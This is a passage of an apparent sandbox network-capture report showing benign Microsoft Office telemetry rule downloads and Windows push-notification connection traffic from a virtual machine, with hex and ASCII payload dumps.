R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214032Z-r1cf579d7784wpmvhC1EWRk4cn0000000310000000001p0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:34 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 549300b5-601e-000d-6903-482618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214034Z-r1cf579d778qlpkrhC1EWRpfc8000000042g000000008pcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:34 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:34 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214034Z-r1cf579d778dfdgnhC1EWRd3w0000000038g000000005n4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:34 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:34 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e267231f-301e-0099-3103-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214034Z-r1cf579d778v97q7hC1EWRf95c000000032g000000005mdf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49778	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:34 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 62 64 32 33 4d 4d 4b 48 2f 6b 65 31 33 46 58 6f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 35 30 62 66 31 63 61 64 30 36 37 37 65 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: bd23MMKH/ke13FXo.1Context: 350bf1cad0677e0
2024-12-07 21:40:34 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-07 21:40:34 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 62 64 32 33 4d 4d 4b 48 2f 6b 65 31 33 46 58 6f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 35 30 62 66 31 63 61 64 30 36 37 37 65 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 57 32 44 68 6f 47 6b 59 77 72 38 64 69 4b 58 77 48 48 44 30 32 62 63 6a 78 47 39 4b 48 68 56 47 71 38 55 61 73 44 36 6c 49 68 6b 43 53 5a 7a 32 62 52 4d 7a 79 49 38 43 4c 66 37 73 4a 53 51 73 46 58 33 51 6c 6c 4d 46 34 2b 7a 49 37 39 6b 35 74 56 38 78 4a 66 59 69 72 41 68 4d 70 49 72 55 2f 69 76 55 63 4f 56 65 4f 66 7a 42 44 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: bd23MMKH/ke13FXo.2Context: 350bf1cad0677e0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaW2DhoGkYwr8diKXwHHD02bcjxG9KHhVGq8UasD6lIhkCSZz2bRMzyI8CLf7sJSQsFX3QllMF4+zI79k5tV8xJfYirAhMpIrU/ivUcOVeOfzBD
2024-12-07 21:40:34 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 62 64 32 33 4d 4d 4b 48 2f 6b 65 31 33 46 58 6f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 35 30 62 66 31 63 61 64 30 36 37 37 65 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: bd23MMKH/ke13FXo.3Context: 350bf1cad0677e0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-07 21:40:35 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-07 21:40:35 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 76 75 4b 53 6b 2f 6b 78 53 55 32 69 46 51 63 61 2f 4e 59 6b 2b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: vuKSk/kxSU2iFQca/NYk+w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:35 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214035Z-r1cf579d778g2t6ghC1EWRfggs00000002wg0000000052ku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:35 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:35 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d196cbda-901e-008f-5e03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214036Z-r1cf579d778z4wflhC1EWRa3h000000003ng000000000w4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:36 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:36 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 32c7b88d-b01e-003e-5b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214036Z-r1cf579d778qlpkrhC1EWRpfc8000000043g0000000072xf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:36 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:36 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:36 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d23b658c-101e-000b-2402-485e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214036Z-r1cf579d77898tqwhC1EWRf9q800000003e00000000099ns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:36 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:36 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:36 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214036Z-r1cf579d778dc6d7hC1EWR2vs80000000480000000001hxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:36 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49788	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:36 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 39 50 71 36 33 4e 50 4a 54 6b 2b 6c 35 7a 63 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 37 62 33 37 31 34 32 39 39 36 66 37 31 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 9Pq63NPJTk+l5zc1.1Context: 9d7b37142996f719
